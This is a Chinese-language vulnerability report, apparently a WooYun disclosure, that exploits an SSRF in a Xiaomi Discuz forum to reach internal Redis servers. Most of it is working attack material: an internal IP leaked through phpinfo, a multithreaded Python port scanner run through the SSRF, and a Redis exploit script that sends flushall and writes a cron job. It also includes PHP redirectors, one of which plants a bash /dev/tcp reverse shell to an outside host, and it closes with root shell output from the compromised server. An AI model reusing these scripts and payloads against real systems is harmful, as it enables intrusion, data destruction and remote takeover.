小米某处SSRF漏洞(可内网SHELL 附多线程Fuzz脚本)
1 存在漏洞位置，Discuz 论坛SSRF漏洞
2 服务器支持dict、ftp、http协议
3 通过信息泄露找到内网地址
phpinfo() 泄露服务器ip地址 http://game.xiaomi.com/activity/info.php
_SERVER["SERVER_ADDR"] 10.105.44.71
_SERVER["SERVER_PORT"] 8080
_SERVER["SERVER_NAME"] g.mi.com
_SERVER["REDIRECT_STATUS"] 200
_SERVER["SCRIPT_FILENAME"] /home/work/game.xiaomi.com/activity/info.php
_SERVER["HTTP_HOST"] game.xiaomi.com
4 内网服务探测规则原理分析
http://fuzz.wuyun.com/302.php?url=dict://10.105.44.71:8080
访问存在开放的8080端口，网页在1s内加载完成
http://fuzz.wuyun.com/302.php?url=ftp://10.105.44.71:8080
利用ftp协议访问开放的8080端口，网页保持Keep-Alive状态，直到出发nginx的超时
http://fuzz.wuyun.com/302.php?url=dict://10.105.44.71:11011
访问不存在的端口11011，触发了小米nginx的超时, 3.1s内加载完成 也就是说，我们可以通过页面加载完成时间，来探测内网开放的端口服务
5 Know it, then Hack it
通过python的requests，设置一个timeout值，只要http请求2.8秒内没有响应，直接断开，如果成功响应，就说明端口开放
#!/usr/bin/env python
# encoding: utf-8
# email: [email protected]
import requests
import time
import requests.packages.urllib3
requests.packages.urllib3.disable_warnings()
import threading
import Queue
threads_count = 20
scheme = 'dict'
port = '6379'
ip_block = '10.105'
class WyWorker(threading.Thread):
def __init__(self,queue):
threading.Thread.__init__(self)
self.queue = queue
def run(self):
while True:
if self.queue.empty():
break
try:
url = self.queue.get_nowait()
content = requests.get(url, timeout=2.8).content
print url, 'OPEN', len(content)
except requests.exceptions.ReadTimeout:
pass
except requests.exceptions.ConnectTimeout:
pass
except Exception, e:
break
queue = Queue.Queue()
for c in xrange(0,255):
for d in xrange(0,255):
ip = '{0}.{1}.{2}'.format(ip_block,c,d)
payload = 'http://fuzz.wuyun.com/302.php?s={scheme}%26ip={ip}%26port={port}%26data=helo.jpg'.format(
scheme=scheme,
ip=ip,
port=port
)
url = "http://www.miui.com/forum.php?mod=ajax&action=downremoteimg&message=[img]{payload}[/img]".format(
payload=payload)
queue.put(url)
threads = []
for i in xrange(threads_count):
threads.append(WyWorker(queue))
for t in threads:
t.start()
for t in threads:
t.join()
6 6379 端口开放结果
lg-sec-weblog01.bj (10.105.0.23)
lg-miui-ad-se51.bj (10.105.0.24)
lg-im-micloud-pns09.bj (10.105.3.60)
lg-im-micloud-pns10.bj (10.105.3.61)
lg-im-mipush-xmq74.bj (10.105.3.62)
lg-miui-fc-mr02.bj (10.105.3.80)
7 使用dict协议进行远程利用
#!/usr/bin/env python
# coding=utf-8
import requests
host = '10.105.0.23'
port = '6379'
bhost = 'fuzz.wuyun.com'
bport = '443'
vul_httpurl = 'http://www.miui.com/forum.php?mod=ajax&action=downremoteimg&message=[img]'
_location = 'http://fuzz.wuyun.com/302.php'
shell_location = 'http://fuzz.wuyun.com/shell.php'
#1 flush db
_payload = '?s=dict%26ip={host}%26port={port}%26data=flushall'.format(
host = host,
port = port)
exp_uri = '{vul_httpurl}{0}{1}%23helo.jpg[/img]'.format(_location, _payload, vul_httpurl=vul_httpurl)
print exp_uri
print len(requests.get(exp_uri).content)
#2 set crontab command
_payload = '?s=dict%26ip={host}%26port={port}%26bhost={bhost}%26bport={bport}'.format(
host = host,
port = port,
bhost = bhost,
bport = bport)
exp_uri = '{vul_httpurl}{0}{1}%23helo.jpg[/img]'.format(shell_location, _payload, vul_httpurl=vul_httpurl)
print exp_uri
print len(requests.get(exp_uri).content)
#3 config set dir /var/spool/cron/
_payload = '?s=dict%26ip={host}%26port={port}%26data=config:set:dir:/var/spool/cron/'.format(
host = host,
port = port)
exp_uri = '{vul_httpurl}{0}{1}%23helo.jpg[/img]'.format(_location, _payload, vul_httpurl=vul_httpurl)
print exp_uri
print len(requests.get(exp_uri).content)
#4 config set dbfilename root
_payload = '?s=dict%26ip={host}%26port={port}%26data=config:set:dbfilename:root'.format(
host = host,
port = port)
exp_uri = '{vul_httpurl}{0}{1}%23helo.jpg[/img]'.format(_location, _payload, vul_httpurl=vul_httpurl)
print exp_uri
print len(requests.get(exp_uri).content)
#5 save to file
_payload = '?s=dict%26ip={host}%26port={port}%26data=save'.format(
host = host,
port = port)
exp_uri = '{vul_httpurl}{0}{1}%23helo.jpg[/img]'.format(_location, _payload, vul_httpurl=vul_httpurl)
print exp_uri
print len(requests.get(exp_uri).content)
附加补充源码
302.php
<?php
$ip = $_GET['ip'];
$port = $_GET['port'];
$scheme = $_GET['s'];
$data = $_GET['data'];
header("Location: $scheme://$ip:$port/$data");
?>
shell.php
<?php
$ip = $_GET['ip'];
$port = $_GET['port'];
$bhost = $_GET['bhost'];
$bport = $_GET['bport'];
$scheme = $_GET['s'];
header("Location: $scheme://$ip:$port/set:0:\"\\x0a\\x0a*/1\\x20*\\x20*\\x20*\\x20*\\x20/bin/bash\\x20-i\\x20>\\x26\\x20/dev/tcp/{$bhost}/{$bport}\\x200>\\x261\\x0a\\x0a\\x0a\"");
?>
后话，成功获取到SHELL
[root@localhost wyssrf]# nc -l -vv 443
Connection from 42.62.103.30 port 443 [tcp/https] accepted
bash: no job control in this shell
[root@lg-sec-weblog01 ~]# id
id
uid=0(root) gid=0(root) groups=0(root)
[root@lg-sec-weblog01 ~]# /sbin/ifconfig -a
/sbin/ifconfig -a
eth0 Link encap:Ethernet HWaddr EC:F4:BB:C3:EA:10
inet addr:10.105.0.23 Bcast:10.105.0.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:111088533 errors:0 dropped:0 overruns:0 frame:0
TX packets:158878520 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:45520794026 (42.3 GiB) TX bytes:196616141142 (183.1 GiB)
Memory:dcb00000-dcc00000
eth1 Link encap:Ethernet HWaddr EC:F4:BB:C3:EA:11
BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)
Memory:dcc00000-dcd00000
eth2 Link encap:Ethernet HWaddr EC:F4:BB:C3:EA:12
BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)
Memory:dcd00000-dce00000
eth3 Link encap:Ethernet HWaddr EC:F4:BB:C3:EA:13
BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)
Memory:dce00000-dcf00000
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:75857851 errors:0 dropped:0 overruns:0 frame:0
TX packets:75857851 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:76991909461 (71.7 GiB) TX bytes:76991909461 (71.7 GiB)
[root@lg-sec-weblog01 ~]# last -20
last -20
root pts/0 10.21.100.82 Sat Oct 3 16:31 - 05:01 (12:29)
root pts/0 10.21.100.82 Tue Sep 22 14:49 - 14:49 (00:00)
root pts/0 10.21.100.81 Fri Sep 18 16:52 - 05:01 (12:08)
root pts/0 10.200.100.33 Wed Sep 2 12:23 - 15:21 (02:58)
root pts/0 10.200.100.33 Wed Sep 2 12:06 - 12:07 (00:01)
root pts/0 10.21.100.81 Tue Sep 1 10:45 - 11:20 (00:35)
root pts/0 10.200.100.33 Wed Aug 26 11:30 - 15:26 (03:56)
root pts/1 10.21.100.82 Fri Aug 21 04:19 - 05:01 (00:41)
root pts/0 10.21.100.82 Thu Aug 20 11:30 - 05:01 (17:30)
root pts/0 10.21.100.82 Wed Aug 19 11:14 - 05:01 (17:46)
root pts/0 10.21.100.82 Fri Aug 14 10:48 - 05:01 (18:12)
root pts/0 10.21.100.82 Mon Aug 10 09:00 - 05:01 (20:00)
root pts/0 10.21.100.82 Sun Aug 9 20:24 - 05:01 (08:36)
root pts/1 10.200.100.33 Fri Aug 7 10:48 - 14:49 (04:00)
root pts/0 10.21.100.82 Fri Aug 7 09:19 - 05:01 (19:41)
root pts/0 10.21.100.82 Thu Aug 6 09:05 - 05:01 (19:55)
root pts/0 10.21.100.82 Wed Jul 29 10:32 - 05:01 (18:28)
root pts/0 10.21.100.82 Tue Jul 28 20:33 - 05:01 (08:27)
root pts/0 10.21.100.82 Tue Jul 28 15:51 - 20:33 (04:42)
root pts/0 10.21.100.82 Tue Jul 28 15:50 - 15:51 (00:00)
wtmp begins Fri Apr 10 14:00:41 2015
[root@lg-sec-weblog01 ~]# rm /var/spool/cron/root
rm /var/spool/cron/root
[root@lg-sec-weblog01 ~]#